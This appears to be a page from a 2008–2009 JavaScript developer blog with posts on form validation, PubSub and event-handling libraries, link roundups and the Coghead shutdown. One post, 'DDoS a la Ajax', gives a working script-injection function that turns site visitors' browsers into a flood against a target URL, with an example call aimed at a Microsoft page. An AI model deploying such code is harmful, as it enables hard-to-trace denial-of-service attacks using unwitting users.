Coghead recomends you do not initiate new projects on their platform

February 18th, 2009

Effective immediately, the Coghead service and the license agreement to which customers agreed when they registered for the service are terminated

[…]

Customers should download their data that is available through my.coghead.com before 3:00 p.m. Pacific time on April 30th. However, Customers should not attempt to copy, modify, reproduce or reverse engineer any portion of the software that is part of, or used in the delivery of, the service. Customers will not be charged for their use of the service through April 30th. In light of the foregoing, we strongly recommend that customers limit their work on existing projects and refrain from initiating new projects and application rollouts.

Were I to work on an up-and-coming tech project, I would follow Coghead’s advice.

FormLess - style agnostic and auto-validating forms

January 1st, 2009

Creating HTML forms can be a drag. Validating the form input is even worse. I wrote up a javascript utility to demonstrate how easy and enjoyable it could (should) be to create forms. Check out the demo. You create a form with:

new FormLess('form-container-element-id', items);

where items is an array of objects. Each item requires at least a name and a type, but could also take an array of options or a validation function that gets called to validate the value of that item.

items = [{
  name : 'Gender',
  type : 'select',
  options : ['None of your business', 'Male', 'Female'],
  validate : function(data) {
    return data && data != 'None of your business'
  }
}]

Each time an item’s value changes, the validation function gets called for that item. If a validation function returns false, the item gets marked as invalid. Valid and invalid items can be styled however you please:

.valid {
  background-color : green;
}

.invalid {
  background-color : red;
}

When the form is submitted, each item gets has its validation function called. If all validation functions pass, the submit function gets called along with a key-value object containing the items names and values. This tool has not been tested across browsers - it’s mostly a demonstration of how easy it should be to gather and handle user-entered data. Check out the demo Screenshot of FormLess demo application

Ajaxlights: Genetic alg with JS, CSS spriting (incl IE6+PNG), Distributed computing with JS & Open source AIR

December 27th, 2008

Genetic algorithms allow for the best performing solutions to stand out. SnapAds uses genetic algorithms to improve performance of ads. Greg Dingle hosts an open source JS library for evolution of UIs, genetify over at github (definitely check out the genetify demo).

CSS spriting allows for you to download all your images with a single HTTP request. Jennifer Semtner has a great writeup for a cross-browser, PNG compatible spriting solution.

Distributed computing is hot. Enter stage: JS. While browsing the web, you can donate spare CPU cycles to computing projects. Joose has built a JS implementation for distributed computing using app engine and gears. Like SETI screensavers but waaaay cooler.

The appcelerator team has built an open source AIR-style web-to-desktop app builder called Titanium!

Get off Internet Explorer, now!

December 26th, 2008

You probably didn’t miss it, but…

Internet Explorer is now the biggest security hole in the history of computing. All versions of IE.

Since you’re reading this blog, you’re probably on FF, Safari, Opera or Chrome - however, we’ve got a responsibility to make the most of this situation and convince as many people we can to get off IE once and for all. Rid the web of the plague that IE is.

Spread the word:www.getfirefox.com now!

Ajaxlights - SQL via JSONP, ECMAScript 4 (now!), Bayjax meetup, YUI Js doc, and JS Turtle drawing

December 24th, 2008

Yahoo has created a JSONP REST interface for sql-like search queries of Yahoo and generic web data, YQL. (JSONP services are totally going to be the de-facto solution to cross-domain communication).

Mascara released beta 4. This is a project to convert ECMAScript 4 to javascript that current browsers understant - definitely keep an eye on Mascara.

There’s a new javascript meetup for the bay area - Bayjax, started and run by Uri who has worked with Aptana. Do check it out!

YUI release YUI Doc, a purely comment-based documentation library. Written in Python, it seems to be the only active documentation tool project for js out there. Do we need a JS doc tool? I’m not sure…

And last, something nostalgic: The number of developers that were introduced to our art through turtle drawing must be significant. Now you can draw your own very favorite turtle drawings in JS thanks to canvas turtle!

DDoS a la Ajax

December 1st, 2008

Q: What’s the difference between a botnet and a popular web service?

A: The web service can only attack port 80.

Imagine a web site with a million simultaneous users. Then imagine putting the following snippet on each of their page views:

function ddosAttack(url, timeLeft, times) {
  times = times || 1;
  window.setTimeout(function() {
    while (times--) {
      var script = document.createElement('script');
      script.src = url + (url.match(/\?/) ? '&' : '?') + Math.ceil(Math.random() * 10000);
      document.getElementsByTagName('head')[0].appendChild(script);
    }
  }, timeLeft);
}

Voila - point the url towards a web page with reasonably heavy html content, and your 1 million users should be able to bring it down reasonably easily. Turn it on, launch attack, turn it off.

Without the help of a tech-savy user with http analyzer or firebug watching traffic closely, the victim will not be able to trace the attack to your website.

It is also virtually impossible to distinguish the attack traffic from legitimate traffic.

While the issue of botnet attacks is not a new one, the threshold of participation is significantly lower for a website than with malware. Simply clicking that link is enough.

Add widgets to the mix, and it gets even uglier.

What would an attack look like? Maybe something like:

ddosAttack('http://www.microsoft.com/windows/ie/ie6/downloads/default.mspx', 1000, 10);

Ajaxlights: selenium, meer meer, microformats, lunascape & keybordr

November 26th, 2008

Selenium allows for automated testing of web applications. Crucial to fight regression.

As a potential alternative to selenium, check out ajaxian’s post on upcoming meer meer.

Microformats complements RSS feeds in that rather than seperating form from content, it adds semantics to content. Tantek Celik has written a series of high quality posts to get you started with microformats.

The Lunascape browser from Japan bundles the engines behind Firefox, Safari and IE in a single browser.

Keybordr, a innovative search UI. web UX at its best. Kudos to Julius, Udschal and Vugar.

If you like money, check out Anu Shukla’s post on virtual currency at “Inside Facebook” for great tidbits of insight.

Decoupling Data and UI: PubSub

November 26th, 2008

This is a summary of my presentation today at the sf javascript meetup #4 on maintainable front end architecture in javascript. The presentation involves a demo app and a progressive construction of the model’s subscribe method, which contains the meat of the functionality and interesting javascript.

Demo app:

Demo of the PubSub library - an email client

Decoupling Data and UI in webapps with PubSub patterns

As web applications become more powerful, they grow in complexity. Front end programming patterns and best practices are becoming more and more important both for the community and for the industry.

If you decouple your application’s data and UI layers, you will be able to easily extend and develop one layer without affecting the other. A powerful pattern that allows for such decoupling is publication/subscription.

It turns out that javascript’s combination of functional programming and the ability to apply a scope at runtime makes it a wonderful language to write a PubSub library in. 25 lines of code is enough to create a highly versitile model with both dynamic scoping and currying/partial application. We’ll go through that code together in a moment.

If you look at the application code (not more than some 70 lines), then you notice that the UI and the data layers are completely independent - i.e. they don’t reference each other. All the message passing between the data and the UI are taken care of with code like this:

pubSubBroker.subscribe('email-open', gData, 'onRead');
pubSubBroker.subscribe('email-open', gUI, 'markEmail', true);
var email = {title:'Test email', id:1, body:'Test body'};
//This will call both gData.onRead(email) and gUI.markEmail(true, email);
pubSubBroker.publish('email-arrive', email);

The pubSubBroker creation and publish are both pretty straight forward:

// Our publication and subscription broker
function PubSubBroker() {
  var signals = arguments;
  this.subscribers = {};
  for (var i=0; i < signals.length; i++) {
    this.subscribers[signals[i]] = [];
  }
}

PubSubBroker.prototype.publish = function(signal) {
  var args = Array.prototype.slice.call(arguments, 1)
  for (var i=0; i < this.subscribers[signal].length; i++) {
    var handler = this.subscribers[signal][i];
    handler.apply(this, args);
  }
}

However, the subscribe method is the fun part. Let’s go through its creation step by step in order to understand how we get to the final, slightly non-trivial 7-line implementation. First, we just want the ability to subscribe to signals with a function handler:

PubSubBroker.prototype.subscribe = function(signal, handler){
  this.subscribers[signal].push(handler);
}

Then we add the ability of specifying the scope in which the handler will run on when a signal is published. Use handlerName rather than handler directly, and use call to run the handler in the given scope.

PubSubBroker.prototype.subscribe = function(signal, scope, handlerName){
  this.subscribers[signal].push(function(eventArguments){
    scope[handlerName].call((scope || window), eventArguments);
  });
}

The third version adds the ability to pass in a variable number of arguments to publish. Using apply rather than call allows for this.

PubSubBroker.prototype.subscribe = function(signal, scope, handlerName){
  this.subscribers[signal].push(function(){
    scope[handlerName].apply((scope || window), arguments);
  });
}

Finally, we make currying possible, which allows for partial application that can be super useful in many cases (let me know if you want a useful example and I’ll add it):

PubSubBroker.prototype.subscribe = function(signal, scope, handlerName){
  var curryArray = Array.prototype.slice.call(arguments, 3);
  this.subscribers[signal].push(function(){
    var normalizedArgs = Array.prototype.slice.call(arguments, 0);
    scope[handlerName].apply((scope || window), curryArray.concat(normalizedArgs));
  });
}

That’s it! If you want to play with the code, just download the zipfile with the demo application and pubsub code or check out the demo - it has links to the application file, pubsub broker file, as well as the progressive build of subscribe.

Ajaxlights. 3D web, JS editor, Web-born UI paradigms

November 19th, 2008

Awesome 3D rendering engine for the canvas tag by Peter Nederlof. Very impressive. Here’s a short screencast of it in action - note that this is a *web page* with *no flash*.

3D canvas demo3D canvas demo

Maxime Haineault has created a new UI for picking time - I can totally see this as a new web-born UI practice much like the Lightbox.

EtherPad has made it possible to collaborate on writing JavaScript code in the browser!

EthaPad collaborative javascript editing

Lightweight Javascript Event Handling Library

July 25th, 2008

A super-lightweight Event Handling javascript library:

// Author: Marcus.Westin@gmail.com, July 25th

function EventBroadcaster(signals) {
  this.events = {};
  for (var i=0; i < signals.length; i++) {
    this.events[signals[i]] = [];
  }
}

EventBroadcaster.prototype.subscribe = function(signal, args){
  if (!this.events[signal]) { throw ('EventBroadcaster.prototype.subscribe: event name not recognized: ' + signal); }
  if (!args.handler) { throw ('EventBroadcaster.prototype.subscribe: no handler given.')}
  args = args || {};
  function makeArray(arg) {
    return arg ? (arg instanceof Array ? arg : [arg]) : [];
  }
  this.events[signal].push({
    handler : function(handlerArgs){
      args.handler.apply((args.scope || window), makeArray(args.curry).concat(makeArray(handlerArgs)));
    },
    once : args.once
  });
}

EventBroadcaster.prototype.once = function(signal, args) {
  args = args || {};
  args.once = true;
  this.subscribe(signal, args);
}

EventBroadcaster.prototype.broadcast = function(signal, broadcastArgs) {
  if (!this.events[signal]) { throw ('EventBroadcaster.prototype.broadcast: event name not recognized: ' + signal); }
  var subscriptions = this.events[signal];
  for (var i=0; i < subscriptions.length; i++) {
    subscriptions[i].handler && subscriptions[i].handler(broadcastArgs);
    subscriptions[i].once && delete subscriptions[i];
  }
}


A Demo is available of a 50-lines mockup Email client interface using the event library for : Event handling is a great pattern for a system with many complex components than need to interact in a loosely coupled manner. For example, in an email UI where the user clicks on an unread email, at least two things have to happen:

  • The central view changes to the content of the email
  • The inbox “unread” count decreases by one

Intuitively, the unread email link could “tell” the central view to change as well as “tell” the inbox count to decrease. However, what if you want to add a third functionality, e.g.

  • notify the server that the email has been read

An alternative intuition says that as the email link has to notify more and more components of what happened, rather than running around to each one of them it could just do a general “Email X was activated!” and each component that cares could then act accordingly. This is how an event management system with Subscribe and Publish (PubSub) works, and allows for among other things a stepwise development process of complex UI’s.